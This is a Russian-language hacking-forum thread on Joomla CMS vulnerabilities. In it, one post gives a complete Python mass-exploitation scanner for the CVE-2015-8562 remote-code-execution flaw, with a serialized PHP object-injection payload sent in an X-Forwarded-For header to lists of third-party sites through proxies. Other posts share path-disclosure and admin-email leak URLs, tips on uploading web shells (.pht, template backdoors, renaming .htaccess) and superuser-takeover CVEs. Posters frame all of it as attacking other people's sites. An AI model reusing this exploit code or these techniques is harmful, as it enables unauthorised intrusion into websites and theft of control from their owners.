Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

  1. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    stan_q likes this.
  2. nitupme

    nitupme Member

    Joined:
    10 Oct 2015
    Messages:
    20
    Likes Received:
    5
    Reputations:
    0

    Зависает - скорее всего если сайт недоступен. Допиши плиз чтобы таймаут был. JOOMLA 1 и 2 не пробивает в чем может быть дело. Проверял 500 доменов. 3 - отлично сканирует.
     
    #322 nitupme, 21 Dec 2015
    Last edited: 21 Dec 2015
  3. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,114
    Likes Received:
    830
    Reputations:
    231
    _________________________
  4. private_static

    Joined:
    19 May 2015
    Messages:
    118
    Likes Received:
    76
    Reputations:
    22
    прикрутил поддержку работы через http прокси
    Code:
    '''
      joomla rce masschek for CVE-2015-8562
      bb special for antichat.ru
      thx to: Gary@Sec-1 ltd, antichat community
      19.12.2015
    '''
    import getopt
    import re
    import requests
    import sys
    
    message = "--"
    proxy = {}
    
    def get_ip():
        ip = requests.get('http://icanhazip.com', proxies=proxy).content
        return ip
    
    
    def get_url(url, user_agent):
        global message
        headers = {
            # 'User-Agent': user_agent
            'x-forwarded-for': user_agent
        }
        response = None
        try:
            cookies = requests.get(url, timeout=15, headers=headers, proxies=proxy).cookies
            for i in xrange(3):
                response = requests.get(url, timeout=15, headers=headers, cookies=cookies, proxies=proxy)
        except Exception as ex:
            message = "Error: " + str(ex.message)
        if response:
            return response.content
        return None
    
    
    def php_str_noquotes(data):
        "Convert string to chr(xx).chr(xx) for use in php"
        encoded = ""
        for char in data:
            encoded += "chr({0}).".format(ord(char))
        return encoded[:-1]
    
    
    def generate_payload(php_payload):
        php_payload = "eval({0})".format(php_str_noquotes(php_payload))
        terminate = '\xf0\xfd\xfd\xfd'
        exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
        injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
        exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
        exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
        return exploit_template
    
    
    def get_site_list(domain):
        url = "http://viewdns.info/reverseip/?host=" + domain + "&t=1"
        headers = {
    
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'
    
        }
    
        try:
            response = requests.get(url, timeout=15, headers=headers, proxies=proxy)
            text = response.content
            sites = re.findall("<tr>\s+<td>(.*?)</td><td align=", text)
        except Exception as ex:
            print ex.message
        return sites
    
    
    def check_sites(site_list, pl, do_log, log_file):
        global message
        i = 1
        count = len(site_list)
        print "your ip:" + get_ip()
        for site in site_list:
            site = site.strip()
            if (site.find("http://") == -1):
                host = "http://" + site
            else:
                host = site
            resp = get_url(host, pl)
            if resp:
                lstr = ""
                m = re.search("phpinfo()", resp)
                if m:
                    lstr = host + " exploitable"
                else:
                    lstr = host + " --"
            else:
                lstr = "%s %s" % (host, message)
                message = "--"
            print "[%d/%d] %s" % (i, count, lstr)
            i += 1
            if (do_log):
                log_file_handle = open(log_file, "a")
                log_file_handle.write(lstr + "\n")
                log_file_handle.close()
    
    
    def usage():
        print "Usage: " + sys.argv[0] + " " + "<options>"
        print "Options:"
        print "-d, --domain   domain for reverse lookup on viewdns.info"
        print "-f, --file   file with site list to check"
        print "-l, --log   save result to log file"
        print "-p, --proxy   use http proxy"
        print "Example: " + sys.argv[0] + " --file domains.txt --log output.txt --proxy 127.0.0.1:3128"
    
    
    pl = generate_payload("phpinfo();")
    
    write_log = False
    log_file = ""
    domain = ""
    read_file = ""
    opts, args = getopt.getopt(sys.argv[1:], "f:d:l:p:", ["file=", "domain=", "log=", "proxy="]);
    
    for opt, arg in opts:
        if opt in ("-f", "--file"):
            read_file = arg
        elif opt in ("-d", "--domain"):
            domain = arg
        elif opt in ("-l", "--log"):
            log_file = arg
            write_log = True
        elif opt in ("-p", "--proxy"):
            proxy_data = ""
            arg = arg.lower()
            if not arg.startswith("http://"):
                proxy_data = "http://" + arg
            else:
                proxy_data = arg
            proxy["http"] = proxy_data
    
    
    if (domain and read_file or domain == "" and read_file == ""):
        usage()
        exit()
    
    if (write_log):
        fh = open(log_file, "w")
        fh.close()
    
    # use file or get domains from viewdns.info
    
    if (domain):
        sites = get_site_list(domain)
        print "Total " + str(len(sites)) + " sites to check"
        check_sites(sites, pl, write_log, log_file)
    elif (read_file):
        fh = open(read_file, "r")
        data = fh.readlines()
        fh.close()
        print "Total " + str(len(data)) + " sites to check"
        check_sites(data, pl, write_log, log_file)
    
    юзается так: --proxy ip:рort
     
    #324 private_static, 26 Dec 2015
    Last edited: 26 Dec 2015
    blackbox likes this.
  5. blackhead

    blackhead New Member

    Joined:
    11 Aug 2015
    Messages:
    28
    Likes Received:
    1
    Reputations:
    0
    Ребята подскажите как пользоваться (с Python'ом не знаком). Запускаю так cmd -> C:\Python\python.exe C:\sploit.py на долю секунды появляется окно и исчезает.
     
  6. nick_sale

    nick_sale Member

    Joined:
    15 Jun 2012
    Messages:
    2
    Likes Received:
    9
    Reputations:
    0
    Для начала тебе надо поставить библиотеку requests.
    Открываешь консоль переходишь в папку \Python\Scripts и дальше пишешь коммнду pip install requests, либо easy_install requests.
    Все просто ;)
     
    blackhead likes this.
  7. Telariust

    Telariust Member

    Joined:
    25 Jan 2016
    Messages:
    13
    Likes Received:
    18
    Reputations:
    3
    Joomla 3.x
    Раскрытие пути
    Работает вне зависимости от "error_reporting" и "display_errors"

    /index.php?option=com_ajax&format=debug&module=1

    Например, полный путь необходим для выгрузки в файл [sql-inj]+into+outfile+'/path/to/joomla/cache/s.php'--+-
     
    ACat, Inoms, nick_sale and 2 others like this.
  8. Telariust

    Telariust Member

    Joined:
    25 Jan 2016
    Messages:
    13
    Likes Received:
    18
    Reputations:
    3
    Joomla 3.x
    RSS - Раскрытие email пользователей и их ранга.
    (или как узнать mail админа)

    /index.php?format=feed&type=rss
    или
    /index.php?format=feed&type=atom

    Каждое сообщение подписано, ищем строчки вроде:
    <author>[email protected] (Super User)</author>
    <managingEditor>[email protected] (Ichthus)</managingEditor>
     
    Filipp likes this.
  9. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    А что там обсуждать? все предельно просто и понятно!, создаете админа, заходите, заливаетесь....
     
    _________________________
  10. jakonda1001

    jakonda1001 New Member

    Joined:
    17 Mar 2016
    Messages:
    178
    Likes Received:
    3
    Reputations:
    0
    а еще подробнее?)
     
  11. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Если бы не это, в /components/com_users/controllers/registration.php, то вообще ништяк:
    PHP:
            // If user registration or account activation is disabled, throw a 403.
            
    if ($uParams->get('useractivation') == || $uParams->get('allowUserRegistration') == 0)
            {
                
    JError::raiseError(403JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
                return 
    false;
            }
    Дак вот даже полноценный сплоит написали: https://github.com/XiphosResearch/exploits/tree/master/Joomraa
    По поводу аплоада шелла -- в debian'оподобных системах можно залить шелл с расширением pht. Джумла смотрит внутри файла html-теги и шорт-теги php, однако они забыли фильтровать тег <?=, так что мини-шелл льется на ура.
    Единственная проблема с активацией, в большинстве случаев получаешь 403 forbidden из-за проверки указанной выше. Но кое-где все же работает, выходит в настройках либо должна быть включена регистрация, либо отключена активация юзера по e-mail'y.
     
    #331 Filipp, 11 Nov 2016
    Last edited: 11 Nov 2016
  12. axelmill

    axelmill New Member

    Joined:
    17 Nov 2016
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Подскажите, пожалуйста, по этой уязвимости. Если залитый .pht не выполняется, а выводится просто plain текстом при всех добавленных расширениях. Не вариант залиться?
     
    #332 axelmill, 17 Nov 2016
    Last edited: 17 Nov 2016
  13. 3acuson

    3acuson Member

    Joined:
    31 Jan 2010
    Messages:
    426
    Likes Received:
    5
    Reputations:
    0
    Как вариант поискать модули,компоненты где можно устанавливать шаблоны и т.к
     
  14. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    А в чем проблема простой php залить?
     
    _________________________
  15. 3acuson

    3acuson Member

    Joined:
    31 Jan 2010
    Messages:
    426
    Likes Received:
    5
    Reputations:
    0
    почти везде вот такая хрень там
    <FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
    </FilesMatch>
    .php просто не заливается:(
     
  16. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,411
    Likes Received:
    903
    Reputations:
    863
    Почти везде? точно знаете? ну вот банально на днях сайт лечил там расширение было .php. и вполне нормально шел выполнялся, на хостинге timewe, второй момент, если есть возможность редактировать шаблон, то можно встроить в него бегдор и переименовать .htaccess чтоб не мешался, третий момент, в зависимости от установленных расширений, в них тоже попадаются баги которые бывает приводят к RCE, что может помочь залить шелл, на примере того же RSForm, я так понял вы пытаетесь пробить конкретную площадку, а не массово, тут все индивидуально!
     
    _________________________
  17. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Еще раз говорю, pht работает в дебиано-подобных системах. На какой-нить CentOS это работать не будет.
     
  18. axelmill

    axelmill New Member

    Joined:
    17 Nov 2016
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Да не работает pht в этом случае

    Ищу вариант залиться. Есть CVE-2016-9081, позволяющая перезаписать данные суперпользователя, но получается такая фигня
    [​IMG]
    Супер-пользователь будет не активирован, а при переходе по ссылке активации из email:

    Существует ли способ активировать супер-пользователя?
     
    #338 axelmill, 28 Nov 2016
    Last edited: 29 Nov 2016
  19. nitupme

    nitupme Member

    Joined:
    10 Oct 2015
    Messages:
    20
    Likes Received:
    5
    Reputations:
    0
    еще откопали
    • Project: Joomla!
    • SubProject: CMS
    • Severity: High
    • Versions: 1.6.0 through 3.6.4
    • Exploit type: Elevated Privileges
    • Reported Date: 2016-November-04
    • Fixed Date: 2016-December-06
    • CVE Number: CVE-2016-9838
    КТО знает как работает?
     
  20. nitupme

    nitupme Member

    Joined:
    10 Oct 2015
    Messages:
    20
    Likes Received:
    5
    Reputations:
    0
    внесены изменения: разница между 3.6.4 и 3.6.5
    1. /+ //plugins/authentication/joomla/joomla.php
    JUserHelper::hashPassword($credentials['password']);
    2. /+ //libraries/cms/form/field/usergrouplist.php
    $checkSuperUser = (int) $this->getAttribute('checksuperusergroup', 0);
    $isSuperUser = JFactory::getUser()->authorise('core.admin');
    if ($checkSuperUser && !$isSuperUser && JAccess::checkGroup($group->id, 'core.admin'))
    {
    continue;
    3. //libraries/joomla/access/access.php
    return boolean|/+/null / True if a/-/uthorised/+/llowed, false for an explicit deny, null for an implicit deny
    4. /+/ libraries/joomla/user/helper.php
    * Check if there is a super user in the user ids.
    * @param array $userIds An array of user IDs on which to operate
    * @return boolean True on success, false on failure
    * @since 3.6.5
    public static function checkSuperUserInUsers(array $userIds)
    {
    foreach ($userIds as $userId)
    {
    foreach (static::getUserGroups($userId) as $userGroupId)
    {
    if (JAccess::checkGroup($userGroupId, 'core.admin'))
    {
    return true;
    }
    }
    }
    return false;
    5. libraries/joomla/user/user.php
    return $this->isRoot ? true :/+/ (bool) /JAccess::check($this->id, $action, $assetname)
    6. /components/com_users/models/registration.php
    /- /
    foreach ($temp as $k => $v)
    {
    /+/
    $form = $this->getForm(array(), false);
    foreach ($temp as $k => $v)
    {
    // Only merge the field if it exists in the form.
    if ($form->getField($k) !== false)
    {
    7. /administrator/components/com_config/model/component.php
    /+/
    // Check super user group.
    if (isset($data['params']) && !JFactory::getUser()->authorise('core.admin'))
    {
    $form = $this->getForm(array(), false);
    foreach ($form->getFieldsets() as $fieldset)
    {
    foreach ($form->getFieldset($fieldset->name) as $field)
    {
    if ($field->type === 'UserGroupList' && isset($data['params'][$field->fieldname])
    && (int) $field->getAttribute('checksuperusergroup', 0) === 1
    && JAccess::checkGroup($data['params'][$field->fieldname], 'core.admin'))
    {
    throw new RuntimeException(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
    8. /administrator/components/com_joomlaupdate/models/default.php
    /-/
    $basename = basename($packageURL)
    /+/
    ;headers = get_headers($packageURL, 1);
    // Follow the Location headers until the actual download URL is known
    while (isset($headers['Location']))
    {
    $packageURL = $headers['Location'];
    $headers = get_headers($packageURL, 1);
    }
    // Remove protocol, path and query string from URL
    $basename = basename($packageURL);
    if (strpos($basename, '?') !== false)
    {
    $basename = substr($basename, 0, strpos($basename, '?'));
    }
    9. /administrator/components/com_users/models/user.php
    /+/ use Joomla\Utilities\ArrayHelper;
    /+/
    $user_ids = ArrayHelper::toInteger($user_ids);
    // Check if I am a Super Admin
    $iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');
    // Non-super super user cannot work with super-admin user.
    if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($user_ids))
    {
    $this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SUPERUSER'));
    return false;

    /-/JArrayHelper::toInteger($user_ids);
    /-/
    // Get the DB object
    $db = $this->getDbo();
    JArrayHelper::toInteg
    /+/
    JArrayHelper::toInteger($user_ids);
    // Check if I am a Super Admin
    $iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');
    // Non-super super user cannot work with super-admin user.
    if (!$iAmSuperAdmin && JUserHelper::checkSuperUserInUsers($user_ids);)
    {
    $this->setError(JText::_('COM_USERS_ERROR_CANNOT_BATCH_SUPERUSER'));
    return false;
    ========
    if ((/-/!JFactory::getUser()->get('isRoot')/+/$iAmSuperAdmin /&& JAccess::checkGroup($group_id, 'core.admin')) || $group_id < 1)
    =======
    /+/ // Get the DB object
    $db = $this->getDbo();

    и в /administrator/components/com_users/config.xml
    добавлено
    <field
    name="new_usertype"
    /+/ showon="allowUserRegistration:1"

    <field
    name="guest_usergroup"
    /+/ checksuperusergroup="1"